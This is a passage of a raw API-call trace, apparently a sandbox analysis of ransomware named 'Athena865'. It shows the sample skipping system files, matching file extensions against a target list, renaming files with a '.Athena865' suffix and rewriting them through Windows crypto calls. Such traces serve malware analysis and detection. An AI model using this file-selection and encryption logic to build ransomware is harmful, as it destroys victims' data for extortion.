(lpString1="dll", lpString2="mwb") returned -1 [0111.308] lstrlenW (lpString="myd") returned 3 [0111.308] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0111.308] lstrlenW (lpString="ndf") returned 3 [0111.308] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0111.308] lstrlenW (lpString="nnt") returned 3 [0111.308] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0111.308] lstrlenW (lpString="nrmlib") returned 6 [0111.308] lstrcmpiW (lpString1="nd.dll", lpString2="nrmlib") returned -1 [0111.308] lstrlenW (lpString="ns2") returned 3 [0111.308] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0111.308] lstrlenW (lpString="ns3") returned 3 [0111.308] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0111.309] lstrlenW (lpString="ns4") returned 3 [0111.309] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0111.309] lstrlenW (lpString="nsf") returned 3 [0111.309] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0111.309] lstrlenW (lpString="nv") returned 2 [0111.309] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0111.309] lstrlenW (lpString="nv2") returned 3 [0111.309] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0111.309] lstrlenW (lpString="nwdb") returned 4 [0111.309] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0111.309] lstrlenW (lpString="nyf") returned 3 [0111.309] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0111.309] lstrlenW (lpString="odb") returned 3 [0111.309] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0111.309] lstrlenW (lpString="odb") returned 3 [0111.309] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0111.309] lstrlenW (lpString="oqy") returned 3 [0111.309] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0111.309] lstrlenW (lpString="ora") returned 3 [0111.309] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0111.309] lstrlenW (lpString="orx") returned 3 [0111.309] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0111.309] lstrlenW (lpString="owc") returned 3 [0111.309] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0111.309] lstrlenW (lpString="p96") returned 3 [0111.309] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0111.309] lstrlenW (lpString="p97") returned 3 [0111.309] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0111.310] lstrlenW (lpString="pan") returned 3 [0111.310] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0111.310] lstrlenW (lpString="pdb") returned 3 [0111.310] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0111.310] lstrlenW (lpString="pdm") returned 3 [0111.310] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0111.310] lstrlenW (lpString="pnz") returned 3 [0111.310] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0111.310] lstrlenW (lpString="qry") returned 3 [0111.310] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0111.310] lstrlenW (lpString="qvd") returned 3 [0111.310] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0111.310] lstrlenW (lpString="rbf") returned 3 [0111.310] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0111.310] lstrlenW (lpString="rctd") returned 4 [0111.310] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0111.310] lstrlenW (lpString="rod") returned 3 [0111.310] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0111.310] lstrlenW (lpString="rodx") returned 4 [0111.310] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0111.310] lstrlenW (lpString="rpd") returned 3 [0111.310] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0111.310] lstrlenW (lpString="rsd") returned 3 [0111.310] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0111.310] lstrlenW (lpString="sas7bdat") returned 8 [0111.310] lstrcmpiW (lpString1="Band.dll", lpString2="sas7bdat") returned -1 [0111.310] lstrlenW (lpString="sbf") returned 3 [0111.310] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0111.310] lstrlenW (lpString="scx") returned 3 [0111.311] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0111.311] lstrlenW (lpString="sdb") returned 3 [0111.311] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0111.311] lstrlenW (lpString="sdc") returned 3 [0111.311] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0111.311] lstrlenW (lpString="sdf") returned 3 [0111.311] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0111.311] lstrlenW (lpString="sis") returned 3 [0111.311] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0111.311] lstrlenW (lpString="spq") returned 3 [0111.311] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0111.311] lstrlenW (lpString="te") returned 2 [0111.311] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0111.311] lstrlenW (lpString="teacher") returned 7 [0111.311] lstrcmpiW (lpString1="and.dll", lpString2="teacher") returned -1 [0111.311] lstrlenW (lpString="tmd") returned 3 [0111.311] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0111.311] lstrlenW (lpString="tps") returned 3 [0111.311] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0111.311] lstrlenW (lpString="trc") returned 3 [0111.311] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0111.311] lstrlenW (lpString="trc") returned 3 [0111.311] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0111.311] lstrlenW (lpString="trm") returned 3 [0111.311] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0111.311] lstrlenW (lpString="udb") returned 3 [0111.311] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0111.311] lstrlenW (lpString="udl") returned 3 [0111.312] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0111.312] lstrlenW (lpString="usr") returned 3 [0111.312] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0111.312] lstrlenW (lpString="v12") returned 3 [0111.312] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0111.312] lstrlenW (lpString="vis") returned 3 [0111.312] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0111.312] lstrlenW (lpString="vpd") returned 3 [0111.312] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0111.312] lstrlenW (lpString="vvv") returned 3 [0111.312] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0111.312] lstrlenW (lpString="wdb") returned 3 [0111.312] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0111.312] lstrlenW (lpString="wmdb") returned 4 [0111.312] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0111.312] lstrlenW (lpString="wrk") returned 3 [0111.312] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0111.312] lstrlenW (lpString="xdb") returned 3 [0111.312] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0111.312] lstrlenW (lpString="xld") returned 3 [0111.312] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0111.312] lstrlenW (lpString="xmlff") returned 5 [0111.312] lstrcmpiW (lpString1="d.dll", lpString2="xmlff") returned -1 [0111.312] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll.Athena865") returned 72 [0111.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll.athena865"), dwFlags=0x1) returned 1 [0111.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0111.314] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=110592) returned 1 [0111.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0111.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0111.314] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0111.315] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.315] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.315] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b300, lpName=0x0) returned 0x154 [0111.317] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b300) returned 0x100000 [0111.330] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0111.331] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.331] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0111.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0111.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.332] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0111.333] CloseHandle (hObject=0x154) returned 1 [0111.333] CloseHandle (hObject=0x17c) returned 1 [0111.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0111.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0111.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.334] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0111.334] lstrcmpiW (lpString1="TipRes.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.334] lstrcmpiW (lpString1="TipRes.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.334] lstrcmpiW (lpString1="TipRes.dll", lpString2=".") returned 1 [0111.334] lstrcmpiW (lpString1="TipRes.dll", lpString2="..") returned 1 [0111.334] lstrcmpiW (lpString1="TipRes.dll", lpString2="windows") returned -1 [0111.334] lstrcmpiW (lpString1="TipRes.dll", lpString2="bootmgr") returned 1 [0111.334] lstrcmpiW (lpString1="TipRes.dll", lpString2="temp") returned 1 [0111.334] lstrcmpiW (lpString1="TipRes.dll", lpString2="pagefile.sys") returned 1 [0111.334] lstrcmpiW (lpString1="TipRes.dll", lpString2="boot") returned 1 [0111.334] lstrcmpiW (lpString1="TipRes.dll", lpString2="ids.txt") returned 1 [0111.334] lstrcmpiW (lpString1="TipRes.dll", lpString2="ntuser.dat") returned 1 [0111.334] lstrcmpiW (lpString1="TipRes.dll", lpString2="perflogs") returned 1 [0111.334] lstrcmpiW (lpString1="TipRes.dll", lpString2="MSBuild") returned 1 [0111.334] lstrlenW (lpString="TipRes.dll") returned 10 [0111.334] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TipRes.dll" | out: lpString1="TipRes.dll") returned="TipRes.dll" [0111.334] lstrlenW (lpString="TipRes.dll") returned 10 [0111.334] lstrlenW (lpString="Athena865") returned 9 [0111.334] lstrcmpiW (lpString1="ipRes.dll", lpString2="Athena865") returned 1 [0111.335] lstrlenW (lpString=".dll") returned 4 [0111.335] lstrcmpiW (lpString1="TipRes.dll", lpString2=".dll") returned 1 [0111.335] lstrlenW (lpString=".lnk") returned 4 [0111.335] lstrcmpiW (lpString1="TipRes.dll", lpString2=".lnk") returned 1 [0111.335] lstrlenW (lpString=".ini") returned 4 [0111.335] lstrcmpiW (lpString1="TipRes.dll", lpString2=".ini") returned 1 [0111.335] lstrlenW (lpString=".sys") returned 4 [0111.335] lstrcmpiW (lpString1="TipRes.dll", lpString2=".sys") returned 1 [0111.335] lstrlenW (lpString="TipRes.dll") returned 10 [0111.335] lstrlenW (lpString="bak") returned 3 [0111.335] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0111.335] lstrlenW (lpString="ba_") returned 3 [0111.335] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0111.335] lstrlenW (lpString="dbb") returned 3 [0111.335] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0111.335] lstrlenW (lpString="vmdk") returned 4 [0111.335] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0111.335] lstrlenW (lpString="rar") returned 3 [0111.335] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0111.335] lstrlenW (lpString="zip") returned 3 [0111.335] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0111.335] lstrlenW (lpString="tgz") returned 3 [0111.335] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0111.335] lstrlenW (lpString="vbox") returned 4 [0111.335] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0111.335] lstrlenW (lpString="vdi") returned 3 [0111.335] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0111.335] lstrlenW (lpString="vhd") returned 3 [0111.335] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0111.336] lstrlenW (lpString="vhdx") returned 4 [0111.336] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0111.336] lstrlenW (lpString="avhd") returned 4 [0111.336] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0111.336] lstrlenW (lpString="db") returned 2 [0111.336] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0111.336] lstrlenW (lpString="db2") returned 3 [0111.336] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0111.336] lstrlenW (lpString="db3") returned 3 [0111.336] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0111.336] lstrlenW (lpString="dbf") returned 3 [0111.336] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0111.336] lstrlenW (lpString="mdf") returned 3 [0111.336] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0111.336] lstrlenW (lpString="mdb") returned 3 [0111.336] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0111.336] lstrlenW (lpString="sql") returned 3 [0111.336] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0111.336] lstrlenW (lpString="sqlite") returned 6 [0111.336] lstrcmpiW (lpString1="es.dll", lpString2="sqlite") returned -1 [0111.336] lstrlenW (lpString="sqlite3") returned 7 [0111.336] lstrcmpiW (lpString1="Res.dll", lpString2="sqlite3") returned -1 [0111.336] lstrlenW (lpString="sqlitedb") returned 8 [0111.336] lstrcmpiW (lpString1="pRes.dll", lpString2="sqlitedb") returned -1 [0111.336] lstrlenW (lpString="xml") returned 3 [0111.336] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0111.336] lstrlenW (lpString="$er") returned 3 [0111.336] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0111.336] lstrlenW (lpString="4dd") returned 3 [0111.336] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0111.337] lstrlenW (lpString="4dl") returned 3 [0111.337] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0111.337] lstrlenW (lpString="^^^") returned 3 [0111.337] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0111.337] lstrlenW (lpString="abs") returned 3 [0111.337] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0111.337] lstrlenW (lpString="abx") returned 3 [0111.337] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0111.337] lstrlenW (lpString="accdb") returned 5 [0111.337] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1 [0111.337] lstrlenW (lpString="accdc") returned 5 [0111.337] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1 [0111.337] lstrlenW (lpString="accde") returned 5 [0111.337] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1 [0111.337] lstrlenW (lpString="accdr") returned 5 [0111.337] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1 [0111.337] lstrlenW (lpString="accdt") returned 5 [0111.337] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1 [0111.337] lstrlenW (lpString="accdw") returned 5 [0111.337] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1 [0111.337] lstrlenW (lpString="accft") returned 5 [0111.337] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1 [0111.337] lstrlenW (lpString="adb") returned 3 [0111.337] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.337] lstrlenW (lpString="adb") returned 3 [0111.337] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.337] lstrlenW (lpString="ade") returned 3 [0111.337] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0111.337] lstrlenW (lpString="adf") returned 3 [0111.338] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0111.338] lstrlenW (lpString="adn") returned 3 [0111.338] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0111.338] lstrlenW (lpString="adp") returned 3 [0111.338] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0111.338] lstrlenW (lpString="alf") returned 3 [0111.338] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0111.338] lstrlenW (lpString="ask") returned 3 [0111.338] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0111.338] lstrlenW (lpString="btr") returned 3 [0111.338] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0111.338] lstrlenW (lpString="cat") returned 3 [0111.338] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0111.338] lstrlenW (lpString="cdb") returned 3 [0111.338] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0111.338] lstrlenW (lpString="ckp") returned 3 [0111.338] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0111.338] lstrlenW (lpString="cma") returned 3 [0111.338] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0111.338] lstrlenW (lpString="cpd") returned 3 [0111.338] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0111.338] lstrlenW (lpString="dacpac") returned 6 [0111.338] lstrcmpiW (lpString1="es.dll", lpString2="dacpac") returned 1 [0111.338] lstrlenW (lpString="dad") returned 3 [0111.338] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0111.338] lstrlenW (lpString="dadiagrams") returned 10 [0111.338] lstrlenW (lpString="daschema") returned 8 [0111.338] lstrcmpiW (lpString1="pRes.dll", lpString2="daschema") returned 1 [0111.338] lstrlenW (lpString="db-journal") returned 10 [0111.339] lstrlenW (lpString="db-shm") returned 6 [0111.339] lstrcmpiW (lpString1="es.dll", lpString2="db-shm") returned 1 [0111.339] lstrlenW (lpString="db-wal") returned 6 [0111.339] lstrcmpiW (lpString1="es.dll", lpString2="db-wal") returned 1 [0111.339] lstrlenW (lpString="dbc") returned 3 [0111.339] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0111.339] lstrlenW (lpString="dbs") returned 3 [0111.339] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0111.339] lstrlenW (lpString="dbt") returned 3 [0111.339] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0111.339] lstrlenW (lpString="dbv") returned 3 [0111.339] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0111.339] lstrlenW (lpString="dbx") returned 3 [0111.339] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0111.339] lstrlenW (lpString="dcb") returned 3 [0111.339] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0111.339] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0111.339] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0111.339] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0111.340] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll.Athena865") returned 71 [0111.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.athena865"), dwFlags=0x1) returned 1 [0111.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0111.341] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=544768) returned 1 [0111.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0111.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0111.341] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0111.342] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.342] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.342] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x85300, lpName=0x0) returned 0x154 [0111.344] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x85300) returned 0x2d50000 [0111.404] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0111.404] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.404] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0111.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.405] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0111.410] CloseHandle (hObject=0x154) returned 1 [0111.410] CloseHandle (hObject=0x17c) returned 1 [0111.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0111.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0111.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.412] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0111.412] lstrcmpiW (lpString1="tipresx.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.412] lstrcmpiW (lpString1="tipresx.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.412] lstrcmpiW (lpString1="tipresx.dll", lpString2=".") returned 1 [0111.412] lstrcmpiW (lpString1="tipresx.dll", lpString2="..") returned 1 [0111.412] lstrcmpiW (lpString1="tipresx.dll", lpString2="windows") returned -1 [0111.412] lstrcmpiW (lpString1="tipresx.dll", lpString2="bootmgr") returned 1 [0111.412] lstrcmpiW (lpString1="tipresx.dll", lpString2="temp") returned 1 [0111.412] lstrcmpiW (lpString1="tipresx.dll", lpString2="pagefile.sys") returned 1 [0111.412] lstrcmpiW (lpString1="tipresx.dll", lpString2="boot") returned 1 [0111.412] lstrcmpiW (lpString1="tipresx.dll", lpString2="ids.txt") returned 1 [0111.412] lstrcmpiW (lpString1="tipresx.dll", lpString2="ntuser.dat") returned 1 [0111.412] lstrcmpiW (lpString1="tipresx.dll", lpString2="perflogs") returned 1 [0111.412] lstrcmpiW (lpString1="tipresx.dll", lpString2="MSBuild") returned 1 [0111.413] lstrlenW (lpString="tipresx.dll") returned 11 [0111.413] lstrcpyW (in: lpString1=0x241e8ae, lpString2="tipresx.dll" | out: lpString1="tipresx.dll") returned="tipresx.dll" [0111.413] lstrlenW (lpString="tipresx.dll") returned 11 [0111.413] lstrlenW (lpString="Athena865") returned 9 [0111.413] lstrcmpiW (lpString1="presx.dll", lpString2="Athena865") returned 1 [0111.413] lstrlenW (lpString=".dll") returned 4 [0111.413] lstrcmpiW (lpString1="tipresx.dll", lpString2=".dll") returned 1 [0111.413] lstrlenW (lpString=".lnk") returned 4 [0111.413] lstrcmpiW (lpString1="tipresx.dll", lpString2=".lnk") returned 1 [0111.413] lstrlenW (lpString=".ini") returned 4 [0111.413] 